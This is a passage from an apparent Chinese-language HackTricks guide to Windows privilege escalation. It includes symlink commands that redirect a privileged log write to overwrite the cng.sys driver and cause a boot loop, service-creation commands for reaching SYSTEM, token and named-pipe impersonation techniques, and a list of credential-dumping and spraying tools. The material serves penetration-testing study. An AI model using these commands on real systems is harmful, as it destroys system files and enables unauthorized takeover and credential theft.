SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txtinC:\ProgramData\ICONICS\IcoSetup64.ini. - Redirect the path without admin:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
- 等待有特权的组件写入日志(例如,管理员触发 “send test SMS”)。写入现在落在
C:\Windows\System32\cng.sys。 - 检查被覆盖的目标(hex/PE parser)以确认损坏;重启会迫使 Windows 加载被篡改的驱动路径 → boot loop DoS。这也可以推广到任何特权服务会以写入方式打开的受保护文件。
cng.sys通常从C:\Windows\System32\drivers\cng.sys加载,但如果C:\Windows\System32\cng.sys中存在一个副本,则可能会先尝试该副本,从而成为处理损坏数据的可靠 DoS sink。
从 High Integrity 到 SYSTEM
新服务
如果你已经在 High Integrity 进程上运行,通往 SYSTEM 的路径可以很简单,只需 创建并执行一个新服务:
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
创建服务二进制文件时,确保它是一个有效的服务,或二进制能尽快执行必要的操作,因为如果不是有效的服务,20s 后会被终止。
AlwaysInstallElevated
从 High Integrity 进程你可以尝试启用 AlwaysInstallElevated 注册表项并使用一个 .msi 包装器安装一个 reverse shell。
更多关于涉及的注册表键以及如何安装 .msi 包的信息在这里。
从 High + SeImpersonate 权限 到 System
你可以 在这里找到代码。
From SeDebug + SeImpersonate to Full Token privileges
如果你拥有这些 token 权限(很可能你会在已经是 High Integrity 的进程中发现它们),你将能够使用 SeDebug 权限打开几乎任何进程(非受保护进程),复制该进程的 token,并用该 token 创建任意进程。
使用此技术通常会选择任何以 SYSTEM 运行且具有所有 token 权限的进程(是的,你可以找到没有所有 token 权限的 SYSTEM 进程)。
你可以在这里找到 一个执行该技术的代码示例。
Named Pipes
此技术被 meterpreter 在 getsystem 中用于提升权限。该技术包含创建一个 pipe 然后创建/滥用一个 service 将数据写入该 pipe。然后,使用 SeImpersonate 权限创建该 pipe 的server 将能够模拟 pipe 客户端(该 service)的 token,从而获得 SYSTEM 权限。
如果你想要深入了解 name pipes 请阅读此处。
如果你想阅读一个关于如何使用 name pipes 从 high integrity 提升到 System 的示例。
Dll Hijacking
如果你设法劫持一个被作为 SYSTEM 运行的进程加载的 dll,你将能够以该权限执行任意代码。因此 Dll Hijacking 对此类权限提升也很有用,而且从 high integrity 进程实现起来要容易得多,因为它通常对用于加载 dll 的文件夹具有写权限。
你可以 在这里了解更多关于 Dll hijacking 的内容。
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
阅读: https://github.com/itm4n/FullPowers
More help
Useful tools
查找 Windows 本地权限提升向量的最佳工具: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – 检查配置错误和敏感文件(查看此处)。检测到。
JAWS – 检查一些可能的配置错误并收集信息(查看此处)。
privesc** – 检查配置错误**
SessionGopher – 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的已保存会话信息。本地使用时加上 -Thorough。
Invoke-WCMDump – 从 Credential Manager 中提取凭据。检测到。
DomainPasswordSpray – 在域内对收集到的密码进行喷洒
Inveigh – Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS 欺骗和中间人工具。
WindowsEnum – 基本的 Windows 权限提升枚举Sherlock ~~ – 搜索已知的权限提升漏洞 (已弃用,改用 Watson)~~WINspect – 本地检查 (需要 Admin 权限)
Exe
Watson – 搜索已知的权限提升漏洞(需要用 VisualStudio 编译)(预编译版)
SeatBelt – 枚举主机以查找配置错误(更偏向信息收集而非纯 privesc)(需要编译)(预编译版)
LaZagne – 从大量软件中提取凭据(GitHub 上有预编译 exe)
SharpUP – PowerUp 的 C# 移植Beroot ~~ – 检查配置错误(GitHub 上有预编译可执行文件)。不推荐。在 Win10 上效果不佳。~~Windows-Privesc-Check – 检查可能的配置错误(基于 python 的 exe)。不推荐。在 Win10 上效果不佳。
Bat
winPEASbat – 基于该文章创建的工具(不需要 accesschk 即可正常工作,但可以使用它)。
Local
Windows-Exploit-Suggester – 读取 systeminfo 的输出并推荐可用漏洞利用(本地 python)
Windows Exploit Suggester Next Generation – 读取 systeminfo 的输出并推荐可用漏洞利用(本地 python)
Meterpreter
multi/recon/local_exploit_suggestor
你必须使用正确版本的 .NET 来编译该项目(参见此处)。要查看目标主机上已安装的 .NET 版本,你可以执行:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考资料
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
0xdf – HTB/VulnLab JobTwo:Word VBA 宏钓鱼(通过 SMTP) → hMailServer 凭证解密 → Veeam CVE-2023-27532 提权到 SYSTEM
-
HTB Reaper:Format-string leak + stack BOF → VirtualAlloc ROP (RCE) 和 kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


